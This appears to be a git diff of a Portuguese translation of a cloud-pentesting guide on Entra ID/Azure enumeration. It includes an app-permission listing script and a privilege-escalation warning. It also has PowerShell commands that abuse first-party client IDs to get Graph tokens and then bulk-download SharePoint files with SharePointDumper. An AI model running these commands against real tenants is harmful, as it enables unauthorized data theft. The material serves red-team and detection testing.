command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
@@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
tmp_perm_cache="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
@@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
# Print all app API permissions and mark if the target API is Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
@@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
is_ms="true"
|
||||
else
|
||||
is_ms="false"
|
||||
fi
|
||||
|
||||
permissions_csv=""
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
|
||||
perm_label="${perm_type}:${perm_value}"
|
||||
if [ -z "$permissions_csv" ]; then
|
||||
permissions_csv="$perm_label"
|
||||
else
|
||||
permissions_csv="${permissions_csv},${perm_label}"
|
||||
fi
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
@@ -895,21 +934,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo a role.\
|
||||
> Para mais informações [**veja isto**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo essa função.\
|
||||
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a senha da aplicação.\
|
||||
> Portanto, se você encontrar essa **senha** pode acessar como o **service principal** **dentro** do **tenant**.\
|
||||
> Observe que essa senha só é visível quando gerada (você pode alterá-la, mas não pode recuperá-la).\
|
||||
> O **proprietário** da **aplicação** pode **adicionar uma senha** a ela (assim ele pode se passar por ela).\
|
||||
> Os logins desses service principals **não são marcados como arriscados** e eles **não terão MFA.**
|
||||
> Portanto, se você encontrar essa **senha** você pode acessar como o **service principal** **inside** o **tenant**.\
|
||||
> Observe que essa senha é visível apenas quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\
|
||||
> O **owner** da **application** pode **add a password** a ela (assim ele pode se passar por ela).\
|
||||
> Logins como esses **service principals** não são **marcados como arriscados** e eles **won't have MFA.**
|
||||
|
||||
É possível encontrar uma lista de App IDs comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Para mais informações sobre Managed Identities consulte:
|
||||
For more information about Managed Identities check:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -927,7 +966,7 @@ az identity list --output table
|
||||
|
||||
### Funções do Azure
|
||||
|
||||
Para mais informações sobre funções do Azure, consulte:
|
||||
Para mais informações sobre as funções do Azure, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1012,7 +1051,7 @@ Headers = @{
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID Roles
|
||||
### Funções do Entra ID
|
||||
|
||||
Para mais informações sobre as funções do Azure, consulte:
|
||||
|
||||
@@ -1135,12 +1174,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **efetuar login**.\
|
||||
> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **administrador local**.
|
||||
> If a device (VM) is **AzureAD joined**, users from AzureAD vão poder **fazer login**.\
|
||||
> Além disso, se o usuário conectado for **Owner** do dispositivo, ele será **local admin**.
|
||||
|
||||
### Unidades Administrativas
|
||||
|
||||
Para mais informações sobre unidades administrativas consulte:
|
||||
Para mais informações sobre unidades administrativas, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1177,12 +1216,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
Atores maliciosos com um **token delegado do Microsoft Graph** que inclua **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** podem enumerar **sites/drives/items** via Graph e então **obter o conteúdo de arquivos** através de **SharePoint pre-authentication download URLs** (URLs temporárias que incorporam um access token). O script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatiza todo o fluxo (enumeração → downloads pré-auth) e gera telemetria por requisição para testes de detecção.
|
||||
Atacantes com um **delegated Microsoft Graph token** que inclua **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** podem enumerar **sites/drives/items** via Graph e então obter o conteúdo de arquivos através de **SharePoint pre-authentication download URLs** (URLs com tempo limitado que embutem um access token). O script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatiza todo o fluxo (enumeração → pre-auth downloads) e emite telemetria por requisição para testes de detecção.
|
||||
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- O próprio SharePointDumper **não autentica**; forneça um access token (opcionalmente um refresh token).
|
||||
- Clientes first-party pré-consentidos podem ser abusados para emitir um token do Graph sem registrar um app. Exemplo de invocações `Invoke-Auth` (do [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
- O próprio SharePointDumper **não autentica**; forneça um access token (opcionalmente refresh token).
|
||||
- Clientes pré-consentidos **first-party clients** podem ser abusados para gerar um Graph token sem registrar um app. Exemplo de invocações `Invoke-Auth` (do [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
@@ -1195,11 +1234,11 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> FOCI TRUE clients suportam refresh entre dispositivos; FOCI FALSE clients frequentemente exigem `-Origin` para satisfazer a validação de origem da reply URL.
|
||||
> Clientes FOCI TRUE suportam refresh entre dispositivos; clientes FOCI FALSE frequentemente exigem `-Origin` para satisfazer a validação de origem da reply URL.
|
||||
|
||||
### Executando SharePointDumper para enumeration + exfiltration
|
||||
|
||||
- Dump básico com custom UA / proxy / throttling:
|
||||
- Dump básico com UA personalizada / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
@@ -1207,7 +1246,7 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **Retomar** execuções interrompidas (reinicia a enumeração, mas ignora itens já baixados):
|
||||
- **Retomar** execuções interrompidas (re-enumera, mas ignora itens já baixados):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
@@ -1219,16 +1258,16 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
Notas operacionais:
|
||||
|
||||
- Prefere tokens **CAE-enabled** para evitar expiração durante a execução; tentativas de refresh **não** são registradas no log da API da ferramenta.
|
||||
- Gera **CSV/JSON request logs** para **Graph + SharePoint** e redige tokens de download do SharePoint embutidos por padrão (configurável).
|
||||
- Suporta **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, e **Ctrl+C-safe shutdown** para modelagem de tráfego durante testes de detecção/IR.
|
||||
- Gera logs de requisição **CSV/JSON** para **Graph + SharePoint** e oculta tokens de download do SharePoint embutidos por padrão (configurável).
|
||||
- Suporta **custom User-Agent**, **HTTP proxy**, atraso por requisição + jitter, e desligamento seguro com **Ctrl+C** para modelagem de tráfego durante testes de detecção/IR.
|
||||
|
||||
## Escalada de Privilégios em Entra ID
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Escalada de Privilégios no Azure
|
||||
## Azure Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
@@ -1238,22 +1277,22 @@ Notas operacionais:
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) no Azure ajuda a **evitar que privilégios excessivos** sejam atribuídos a usuários desnecessariamente.
|
||||
Privileged Identity Management (PIM) no Azure ajuda a **prevenir que privilégios excessivos** sejam atribuídos a usuários desnecessariamente.
|
||||
|
||||
Uma das principais funcionalidades fornecidas pelo PIM é que ele permite não atribuir roles a principals que ficam constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Então, sempre que o usuário quiser ativar esse role, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Então um **administrador precisa aprovar** a solicitação.\
|
||||
Note que o usuário também poderá solicitar a **extensão** do tempo.
|
||||
Uma das principais funcionalidades fornecidas pelo PIM é permitir que papéis não sejam atribuídos a principals que ficam constantemente ativos, mas sim torná-los **eligíveis por um período de tempo (por exemplo: 6 meses)**. Então, sempre que o usuário quiser ativar esse papel, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo: 3 horas). Em seguida, um **admin precisa aprovar** a solicitação.\
|
||||
Note que o usuário também poderá solicitar a **extensão** desse tempo.
|
||||
|
||||
Além disso, o **PIM envia e-mails** sempre que um papel privilegiado está sendo atribuído a alguém.
|
||||
Além disso, **o PIM envia e-mails** sempre que um papel privilegiado é atribuído a alguém.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Quando o PIM está habilitado é possível configurar cada role com certos requisitos, como:
|
||||
Quando o PIM está habilitado é possível configurar cada papel com certos requisitos como:
|
||||
|
||||
- Duração máxima (horas) da ativação
|
||||
- Duração máxima (horas) de ativação
|
||||
- Exigir MFA na ativação
|
||||
- Exigir contexto de autenticação do Conditional Access
|
||||
- Exigir justificativa na ativação
|
||||
- Exigir informações de ticket na ativação
|
||||
- Exigir informação de ticket na ativação
|
||||
- Exigir aprovação para ativar
|
||||
- Tempo máximo para expirar as atribuições elegíveis
|
||||
- Muitas outras configurações sobre quando e para quem enviar notificações quando certas ações ocorrerem com esse papel
|
||||
@@ -1268,19 +1307,19 @@ Check:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou um sign-in é arriscado demais** para ser aceito, possibilitando **bloquear** o usuário ou a tentativa de sign-in.
|
||||
Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou um sign-in é arriscado demais** para ser aceito, permitindo **bloquear** o usuário ou a tentativa de sign-in.
|
||||
|
||||
Permite que o admin configure para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Embora, por padrão, esteja completamente **disabled**:
|
||||
Permite ao admin configurá-lo para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Embora, por padrão, esteja completamente **disabled**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Hoje em dia é recomendado adicionar essas restrições via Conditional Access policies quando possível, pois é onde é possível configurar as mesmas opções.
|
||||
> Atualmente é recomendado adicionar essas restrições via Conditional Access policies, onde é possível configurar as mesmas opções.
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas, bloqueando contas quando várias tentativas de login malsucedidas acontecem**.\
|
||||
Também permite **banir uma lista de senhas customizada** que você precisa fornecer.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas bloqueando contas quando várias tentativas de login sem sucesso ocorrem**.\
|
||||
Também permite **bloquear uma lista personalizada de senhas** que você precisa fornecer.
|
||||
|
||||
Pode ser **aplicado tanto** no nível cloud quanto no Active Directory on-premises.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user